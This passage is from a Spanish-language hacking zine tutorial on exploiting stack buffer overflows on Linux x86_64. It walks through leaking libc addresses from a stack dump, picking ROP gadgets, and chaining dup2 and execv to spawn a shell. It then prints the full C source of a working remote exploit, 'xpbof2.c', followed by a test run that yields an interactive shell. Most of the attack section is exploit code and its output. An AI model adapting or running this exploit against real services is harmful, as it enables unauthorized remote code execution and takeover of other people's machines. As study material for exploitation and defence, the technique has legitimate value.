podemos modificar el siguiente salto en el SEGUNDO overflow, ya que esa
direccion la podemos sobreescribir debido a que el read es de 2048 bytes.
Pues bien, en el segundo overflow en vez de meter 1032 bytes de 'pad' metemos
1048, y la siguiente direccion sera a donde salta, o sea a la libc :).
Ahora veamos como calculamos la direccion de libc (entre otras cosas) a
partir de 1024 bytes del stack. Los 2048 bytes que nos envia 'write' son algo
asi:
0x4141414141414141 0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4141414141414141 0x4141414141414141
* 1032 bytes de 0x4141.., es buf[] *
0x4006a0 0x400680 0x40090a 0x7fff9f98de08 0x20b234c00 0x611e0002
(nil) 0x7fff9f98de00 0x400000003 (nil) 0x2b0d0b252e64 0x400740
0x7fff9f98de08 0x200000000 0x4007f8 0x2b0d0b234c00 0xff0a00b98c173f6e
* mas contenido que no nos interesa *
Entre esas direcciones esta la de '_start' de bof2. Esto no lo voy a explicar
a fondo porque me eternizo y no tiene mucha importancia a la hora de
explotar. '_start' es la direccion en la que comienza a ejecutarse bof2, que
llama a '__libc_start_main' en la libc, y que luego salta a 'main'. Como
'__libc_start_main' esta en la libc, primero tiene que resolver la direccion
el enlazador dinamico, que es el que salva en la pila la direccion de
'_start'. Resumiendo, la direccion de '_start' no cambia ya que esta
prefijada, asi que buscando ese valor en la pila veremos que esta justo
despues de la direccion de una instruccion de '__libc_start_main'.
Concretamente esta:
0x2b0559a20e60 <__libc_start_main+240>: callq *0x18(%rsp)
0x2b0559a20e64 <__libc_start_main+244>: mov %eax,%edi <-- ESTA
Ese callq salta a 'main' en bof2, pero antes salva la direccion siguiente,
0x2b0559a20e64. En realidad esa es la direccion de retorno de 'main'. Bueno,
pues buscando en la pila el valor de '_start' obtenemos el de
__libc_start_main+244 (esto puede cambiar dependiendo de la version de libc,
puede ser +238, etc.). La direccion de '_start' es:
[raise@enyelab x86_64]$ objdump -f bof2 | grep start
start address 0x0000000000400740
Si vemos en el 'printeo' del stack esa direccion, aparece despues de
0x2b0d0b252e64 (__libc_start_main+244). Ahora hacemos:
[raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep __libc_start_main
000000000001cd70 g DF .text 00000000000001a5 GLIBC_2.2.5 __libc_start_main
Para sacar la direccion base de libc solo hay que coger la de
__libc_start_main+244 y restarle (244 + 0x1cd70), todo en tiempo de
ejecucion. Pero no solo eso, vamos a sacar tambien la direccion exacta de
'buf' de manejador(), ya que la necesitaremos. Otra vez volvemos a analizar
el printeo anterior del stack. Pues bien, en 3 posiciones anteriores a la
direccion de retorno de main (la que apunta a __libc_start_main+244) estara
guardada la direccion del stack inicial del proceso, ya que la ha salvado en
la pila la propia libc en una subllamada de __libc_start_main. La cuestion es
que para un mismo ejecutable la distancia entre el stack inicial y buf sera
la misma, concretamente en mi bof2 0x530, con lo que haciendo una cuenta
conseguimos la direccion exacta de buf en tiempo de ejecucion.
Dios, esto no acaba nunca.. Bueno, pues seguimos. Necesitaremos llamar al
menos a 2 funciones de la libc: execv() y dup2(), por lo que averiguamos sus
offsets dentro de la libc:
raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep execv
00000000000949c0 g DF .text 000000000000000f GLIBC_2.2.5 execv
[raise@enyelab x86_64]$ objdump -T /lib64/libc.so.6 | grep dup2
00000000000bed80 w DF .text 0000000000000025 GLIBC_2.2.5 dup2
Pues ya tenemos casi todo, ahora solo hace falta encontrar dentro de alguna
lib cargada en memoria por 'bof2' las instrucciones adecuadas para
inicializar los registros correspondientes. Veamos las libs:
[raise@enyelab x86_64]$ ldd bof2
libc.so.6 => /lib64/libc.so.6 (0x00002b41862b0000)
/lib64/ld-linux-x86-64.so.2 (0x00002b4186195000)
ld-linux-x86-64.so.2 es el enlazador dinamico, que se carga en memoria como
una libreria normal. No estaria de mas averiguar su direccion tambien por si
tenemos que saltar a ella (que lo necesitaremos). Como una vez averiguada
libc las demas libs siempre estaran a la misma distancia, solo tenemos que
restar sus direcciones, siempre dara el mismo valor:
0x00002b41862b0000 - 0x00002b4186195000 = 0x11b000
Al valor de la libc le restamos 0x11b000 y ya tenemos la direccion base de
/lib64/ld-linux-x86-64.so.2. Ahora si, buscamos las direcciones que nos
interesan, que son las siguientes (dadas en offsets):
libc (0xd81ba): pop %rsi
retq
libc (0xd8190): pop %rdx
pop %r10
retq
ld-linux (0xc29b): mov (%rsp),%rdi
mov %rax,(%rdx)
callq *0x8(%rsp)
Con todo eso en la mano estamos en disposicion de hacer nuestro overflow, el
esquema seria:
dup2(socket, 0); dup2(socket, 1); dup2(socket, 2);
execv("/bin/sh", &NULL); --> direccion de un null
Para hacer los dup2(), es muy facil, puesto que en %rdi ya tenemos el socket
(recordemos que no se modifico despues del overflow, sigue estando ahi porque
era el primer argumento de read), solo tenemos que ir colocando los valores
0, 1 y 2 en %rsi e ir llamando a dup2(). Para colocar los valores en %rsi
usaremos 0xd81ba en la libc (3 llamadas seguidas), como controlamos el stack
controlaremos lo que 'poppeamos' a %rsi.
Despues tenemos que copiar la direccion del string '/bin/sh' en %rdi, la de
un NULL en %rsi, y llamar a execv(). Para poner la direccion de un NULL en
%rsi volvemos a usar 0xd81ba en libc. Para la direccion del string usaremos
0xc29b en ld-linux; copiara el contenido del tope del stack (un puntero al
string que nosotros colocaremos) a %rdi. Os preguntareis: que narices pinta
%rdx ahi?, nada. Lo que pasa que entre el 'mov (%rsp),%rdi' y el 'callq
*0x8(%rsp)' se copia %rax a la direccion a la que apunta %rdx, por lo tanto
tenemos que asegurarnos que %rdx apunta a una direccion valida, y ahi es
donde entra en juego 0xd8190 en la libc: copiaremos a %rdx un valor que nos
interese (%r10 ahi tampoco pinta nada, pero no nos molesta).
Al final el buffer que le pasamos en el segundo overflow tiene una pinta tal
que asi:
*NULL* *AAAAAAAA* */bin/sh\0* *1031 AAAAA's* --> total: 1048
*&pop_rsi* *0* *&dup2()* *&pop_rsi* *1* *&dup2()*
*&pop_rsi* *2* *&dup2()* *&pop_rsi* *&buf* *&libc+0xd8190*
*&buf[32]* *AAAAAAAA* *&lib_ld+0xc29b* *&buf[16]* *&execv* *\n*
En total 1185 bytes. La primera linea ocupa justo 1048 bytes, que era lo
necesario para producir el segundo overflow. Despues hay 3 llamadas a dup2()
con 0, 1 y 2 de argumento. Luego se vuelve a colocar en %rsi la direccion de
buf, y se coloca &buf[32] en %rdx para que sobreescriba justo ahi el 'mov
%rax,(%rdx)'. Las 8 A's son para el 'pop %r10'. Despues copia el contenido
del tope del stack a %rdi, que es &buf[16] (la direccion del string de
"/bin/sh"), y salta a execv. Como en %rsi tenemos la direccion de buf, y
justo al comienzo del mismo hay un null ya lo tenemos todo :).
Lo probamos:
[raise@enyelab x86_64]$ ./bof2 7777 &
[1] 3944
[raise@enyelab x86_64]$ ./xpbof2 127.0.0.1 7777
* Conectando
* Enviando bof
* Leyendo stack ...
* Buscando __libc_start_main+244
* libc base: 0x2b497bfb4000
* lib_ld base: 0x2b497be99000
* %rsi remoto: 0x7fff2ec0db50
* Enviando bof #2
* lanzando shell ...
id
uid=500(raise) gid=500(raise) grupos=500(raise)
Funciona! ;P.
Por cierto, si bof2 tiene suid root pasa lo de antes, que la shell te quita
el euid 0. Para solucionarlo habria que ejecutar setuid(0) por ejemplo, o mas
sencillo ejecutar otra shell (cambiar /bin/sh por /bin/bsh, etc.).
Ahi va el codigo del exploit:
---- xpbof2.c ----
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <time.h>
#include <netdb.h>
#define EXECV_OFFSET 0x949c0
#define DUP2_OFFSET 0xbed80
#define READ_PLT 0x0000000000400680
#define WRITE_PLT 0x00000000004006a0
#define STARTADDR 0x400740
int main(int argc, char *argv[])
{
char buf[2048], trash[2048], stack[4096];
unsigned long libc, lib_ld, rsi, pop_rsi;
unsigned long *p = (unsigned long *) buf;
struct sockaddr_in dire;
fd_set s_read;
unsigned char tmp;
int i, n, soc;
if (argc != 3)
{
printf("uso: %s ip puerto\n", argv[0]);
exit(-1);
}
/* protocolo de conexion */
if ((soc = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf(stderr, "Error al crear el socket.\n");
exit(-1);
}
bzero((void *) &dire, sizeof(dire));
dire.sin_family = AF_INET;
dire.sin_port = htons(atoi(argv[2]));
dire.sin_addr.s_addr = inet_addr(argv[1]);
printf("* Conectando\n");
if ((connect(soc, (struct sockaddr *) &dire, sizeof(dire))) == -1)
{
printf("error al conectar\n");
exit(-1);
}
/* fin de protocolo de conexion */
memset(buf, 0x00, sizeof(buf));
for (i=0; i < 128; i++)
*p++ = (unsigned long) 0x4141414141414141;
*p++ = 0x4242424242424242;
*p++ = WRITE_PLT;
*p = READ_PLT;
buf[1048] = 0xa;
// cabecera
read(soc, (void *) trash, sizeof(trash));
printf("* Enviando bof\n");
write(soc, (void *) buf, 1049); // bof
printf("* Leyendo stack ...\n");
n = read(soc, (void *) stack, 2048); // leemos stack
printf("* Buscando __libc_start_main+244\n");
p = (unsigned long *) stack;
for(i=0; i < n; i+=8)
{
if (*p == STARTADDR) /* _start */
{
p--;
break;
}
else
p++;
}
libc = (unsigned long) *p;
libc = libc - (244 + 0x1cd70);
lib_ld = libc - 0x11b000;
p -= 3;
rsi = (unsigned long) ((*p) - 0x530);
pop_rsi = (unsigned long) libc + 0xd81ba;
printf("* libc base: %p\n", libc);
printf("* lib_ld base: %p\n", lib_ld);
printf("* %%rsi remoto: %p\n", rsi);
printf("* Enviando bof #2\n");
/* el primer long sera un null */
memset(buf, 0, 8);
memset(&buf[8], 0x41, 1048);
strcpy(&buf[16], "/bin/ash");
p = (unsigned long *) &buf[1048];
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 0;
*p++ = (unsigned long) libc + DUP2_OFFSET;
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 1;
*p++ = (unsigned long) libc + DUP2_OFFSET;
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) 2;
*p++ = (unsigned long) libc + DUP2_OFFSET;
*p++ = (unsigned long) pop_rsi;
*p++ = (unsigned long) rsi;
*p++ = (unsigned long) libc + 0xd8190;
*p++ = (unsigned long) rsi+32; /* rdx */
*p++ = 0x4141414141414141; /* basura, pop %r10 -> 0x4141.. */
*p++ = ((unsigned long)(lib_ld + 0xc29b));
*p++ = (unsigned long) rsi+16; /* rdi nuevo */
*p = (unsigned long) libc + EXECV_OFFSET;
buf[1184] = 0xa;
write(soc, buf, 1185);
printf("* lanzando shell ...\n\n");
/* bucle para multiplexar los sockets */
while(1)
{
FD_ZERO(&s_read);
FD_SET(0, &s_read);
FD_SET(soc, &s_read);
select((soc > 0 ? soc+1 : 0+1), &s_read, 0, 0, NULL);
if (FD_ISSET(0, &s_read))
{
if (read(0, &tmp, 1) == 0)
break;
write(soc, &tmp, 1);
}
if (FD_ISSET(soc, &s_read))
{
if (read(soc, &tmp, 1) == 0)
break;
write(1, &tmp, 1);
}
} /* fin while(1) */
} /*********** fin main ***********/
---- eof ----
Os recuerdo que para probar los PoC's hay que ajustar los valores necesarios
(direcciones de entradas PLT, offsets de las libs, etc.).
------[ 7.- Conclusiones ]
Bueno, parece que explotar overflows en Linux x86_64 sigue siendo posible,
dificil.., pero posible. En exploits locales la cosa se facilita mucho, ya
que disponemos de las copias de los ejecutables y librerias del sistema para
sacar los offets. En remotos es algo mas complicado, pero disponiendo de los
datos necesarios es tambien explotable. De todas formas la cosa se puede
poner mas complicado si al final el propio ejecutable es cargado en memoria
como las libs (posicion pseudoaleatoria), aunque de momento eso no esta
implantado (aunque si desarrollado).
Nota: A todo esto, en este texto se da por supuesto que /proc/PID/maps esta
desactivado, y que no podria utilizarse para conocer datos de memoria
como donde se cargan las librerias, etc.
------[ 8.- Despedida ]
Por fin he acabado el texto :). Lo siento por el toston de explicar los
PoC's, dije que no iba a enrollarme y al final he escrito unas parrafadas del
15. Bueno, y que pongo yo aqui ahora? :?. Pues nada, saludos a todos los
lectores/as, a los que me han ayudado a testear los PoC's (kenshin,
nomuryto), y a todos los asiduos de SET y eNYe Sec.
Hasta la proxima!.
RaiSe <raise@enye-sec.org>
http://www.enye-sec.org
=-|================================================================ EOF =====|